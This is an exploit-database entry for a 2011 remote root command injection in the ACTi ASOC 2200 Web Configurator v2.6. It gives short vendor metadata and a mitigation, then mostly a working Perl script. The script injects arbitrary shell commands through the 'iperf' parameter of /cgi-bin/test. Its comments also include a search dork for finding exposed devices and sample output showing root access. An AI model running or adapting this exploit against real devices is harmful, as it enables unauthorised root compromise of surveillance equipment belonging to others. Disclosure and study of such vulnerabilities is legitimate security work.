ACTi ASOC 2200 Web Configurator

vendor:

ASOC 2200 Web Configurator

by:

Todor Donev

7.5

CVSS

HIGH

Remote Command Execution

CWE

Product Name: ASOC 2200 Web Configurator

Affected Version From: v2.6

Affected Version To: v2.6

Patch Exists: YES

Related CWE: N/A

CPE: h:acti:asoc_2200_web_configurator

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2011

ACTi ASOC 2200 Web Configurator <= v2.6 Remote Root Command Execution

ACTi Corporation is the technology leader in IP surveillance, focusing on multiple security surveillance market segments. This exploit allows an attacker to execute arbitrary commands on the vulnerable system with root privileges. The exploit is triggered by sending a specially crafted HTTP request to the vulnerable system.

Mitigation:

Upgrade to the latest version of ACTi ASOC 2200 Web Configurator

Source

Exploit-DB raw data:

#!perl
#  ACTi ASOC 2200 Web Configurator <= v2.6 Remote Root Command Execution
##
#  Dicovery & Author: Todor Donev
#  Author mail: todor.donev@@gmail.com
#  Type: Hardware
#  Vuln Type and Risk: Remote / High
##
#  ACTi Corporation is the technology leader in IP surveillance,
#  focusing on multiple security surveillance market segments.
##
#  root@linux:~# perl actiroot.pl <CENSORED> 
#  [+] ACTi ASOC 2200 Web Configurator <= v2.6 Remote Root Command Execution
#  [+] Gewgl: intitle:"Web Configurator - Version v2.6"
#  # id
#   execute : /sbin/iperf -c ;id  &
#   uid=0(root) gid=0(root)        ### Got Root ? o.O
##
#  Special kind regards to Tsvetelina Emirska that support me !! :) 
#
#  Prayers to all the People in Japan from Bulgaria !!!!! 
#
use LWP::Simple; 
print "[+] ACTi ASOC 2200 Web Configurator <= v2.6 Remote Root Command Execution\n";
print "[+] Gewgl: intitle:\"Web Configurator - Version v2.6\"\n";
$host = $ARGV[0];
$cmd = $ARGV[1];
if(! $ARGV[0]) {
print "[+] usage: perl actiroot.pl <host> <cmd>\n";
exit;
}
if(! $ARGV[1]) {
$cmd = "id";
}
my $result = get("http://$host/cgi-bin/test?iperf=;$cmd &");
if (defined $result) {
print "# $cmd\n $result";
}
else {
print "[-] Not Vulnerable\n";
}